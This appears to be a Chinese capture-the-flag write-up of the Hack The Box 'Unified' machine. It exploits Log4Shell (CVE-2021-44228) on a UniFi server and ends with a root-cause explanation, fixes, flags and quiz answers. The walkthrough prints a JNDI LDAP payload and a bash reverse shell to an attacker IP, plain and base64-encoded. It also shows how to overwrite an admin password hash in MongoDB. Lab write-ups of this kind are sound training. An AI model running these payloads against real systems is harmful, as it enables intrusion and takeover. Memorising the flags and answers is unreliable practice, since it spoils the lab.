当前位置: 首页 > article >正文

HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)

前言

  • 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 服务器开放了SSH服务,HTTP服务

访问网站 验证log4j2漏洞

  • 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用
    在这里插入图片描述
  • 可以观察到UniFi的版本号:6.4.54
    在这里插入图片描述
  • 通过搜索引擎查询,该服务拥有CVE-2021-44228 漏洞

在这里插入图片描述

  • 使用tcpdump工具 监听网卡流量
    在这里插入图片描述
  • 通过修改remember字段
${jndi:ldap://10.10.16.2/o=tomcat}

在这里插入图片描述

  • 可以看到UniFi服务器 对 本地服务器 发起了请求,确认存在log4j2漏洞

利用log4j2漏洞,反弹会话

  • 工具准备:
准备工具:
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y 
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi 
mvn package
rogue-jndi:开启本机ldap服务,允许接收其他服务器数据,可执行代码

  • 生成反弹命令 进行base64加解密:
    在这里插入图片描述
echo 'bash -c bash -i >&/dev/tcp/10.10.16.2/4444 0>&1' | base64

在这里插入图片描述
使用命令:

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.16.2"
  • 这段代码的意思是 使用之前制作的base64 反弹代码,进行base64解密,bash加载,目标是10.10.16.2
  • 同时要监听端口会话,等待反弹
    在这里插入图片描述
"${jndi:ldap://10.10.16.2:1389/o=tomcat}"
  • 通过remember字段 构造命令,反弹会话
    在这里插入图片描述
script /dev/null -c bash
  • 监听端口,稳固会话

通过修改mongoDb数据库 管理员密码,进入网站后台

  • 查询unifi 中间件的数据库,一般默认是mongdb数据库
  • mongdb默认数据库为ace
    在这里插入图片描述
  • 数据库端口开放在 27117
    在这里插入图片描述
mongo --port 27117 ace 
  • 指定端口号,连接mongo数据库
    在这里插入图片描述
db.admin.find().forEach(printjson);
  • 通过这个命令可以枚举用户信息,并且以json格式打印
    在这里插入图片描述
  • 通过hashid工具 分析哈希值使用的加密方式
    在这里插入图片描述
  • 通过mkpasswd 设置哈希编码,构造新密码
    在这里插入图片描述
db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$0dOBQ6ZeDhxJi9Df$HEFkxcqfmWhHbyt0h4WAAzRNqg9n.19ryJfXy.ZcRkcAWKvjy9IQ42OAjRRafoEXTf5ZqzVByYnIuk9U/a8Py1"}});
  • 查找administrator管理员账户id,修改密码 为之前生成的哈希密码,更新成功

在这里插入图片描述

  • 成功进入后台

通过后台提供的ssh,获取flag

在这里插入图片描述

  • 账号:root
  • 密码:NotACrackablePassword4U2022
    在这里插入图片描述
  • 登录用户
    在这里插入图片描述
  • 用户flag:6ced1a6a89e666c0620cdb10262ba127
    在这里插入图片描述
  • root flag:e50bc93c75b634e4b272d2f771c33681

知识点讲解

  • 受影响版本:

Apache Log4j 2.x <= 2.14.1

  • 受影响的应用组件:

Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2

  • log4j2漏洞原理:

log4j2 框架下的 lookup服务提供了 {}字段解析功能,传进去 的 值会 被 直接解析,JNDI服务会请求 远程服务 来 连接 本地对象,这时候 只用在{}里面调用JNDI服务即可 反弹shell 到指定服务器

  • 流量特征:

数据包里面有{jndi: ldap}字段

  • 修复:

1.禁止 用户 请求 参数 出现 攻击关键字
​>2.禁止 lookup 下载远程文件
3.禁止 log4j2 应用 连接外网

答案

  • 1.服务器开放的前四个端口是什么?

22,6789,8080,8443

  • 2.8443端口运行服务的标题是什么?

UniFi Network

  • 3.中间件版本是多少?

6.4.54

  • 4.此CVE编号是多少?

CVE-2021-44228

  • 5.JNDI注入使用什么协议?

ldap

  • 6.用什么工具来监测网卡,验证是否存在漏洞?

TcpDump

  • 7.需要拦截哪个流量端口?

389

  • 8.Mongod服务运行在哪个端口?

27117

  • 9.UniFi 在Mongod数据库的默认库是什么?

ace

  • 10.在Mongod数据库中使用什么命令来枚举用户信息?

db.admin.find()

  • 11.在Mongod数据库中使用什么明来来更新数据?

db.admin.update()

  • 12.root用户的密码是什么?

NotACrackablePassword4U2022

  • 13.用户flag是什么?

6ced1a6a89e666c0620cdb10262ba127

  • 14.root flag是什么?

e50bc93c75b634e4b272d2f771c33681

总结

  • 我们介绍了log4j2 漏洞 原理、流量特征、修复意见、利用过程 和 Mongod数据库 更换 管理员密码 登录后台,使用hashid 分析哈希值、mkpasswd 来生成密码

http://www.kler.cn/a/304626.html

相关文章:

  • 淘宝代购系统;海外代购系统;代购程序,代购系统源码PHP前端源码
  • Elasticsearch 8.16:适用于生产的混合对话搜索和创新的向量数据量化,其性能优于乘积量化 (PQ)
  • sol机器人pump机器人如何实现盈利的?什么是Pump 扫链机器人?
  • 曹操为什么总是亲征
  • flutter下拉刷新上拉加载的简单实现方式三
  • Could not initialize class sun.awt.X11FontManager
  • webpack 配置
  • Docker 网络基本概念
  • 判断2个excel文件差异的条数
  • MySQL聚合统计
  • vue等比例缩放页面用于网站,官网
  • CAN数据记录仪与乘用车或者工程车辆OBD口连接注意事项
  • 演示:基于WPF的自绘的中国地铁轨道控件
  • [docker]入门
  • 【H2O2|全栈】关于CSS(4)CSS基础(四)
  • Java 算法:随机抽题
  • 最小堆 + 数学思维(重点) + 快速幂
  • java 自定义简单的线程池
  • Mysql 视图存储过程触发器
  • GD - GD32350R_EVAL - PWM实验和验证3 - EmbeddedBuilder - 无源蜂鸣器 - 用PMOS来控制
  • Android CustomDialog圆角背景不生效的问题
  • 使用 PyCharm 新建 Python 项目详解
  • turbo译码算法MAX, MAX_SCALE and MAX_STAR的比较
  • C 语言中表示对象大小的标准数据类型size_t
  • 备份服务器数据防护策略方法
  • 基于SpringBoot的在线汽车租赁信息管理系统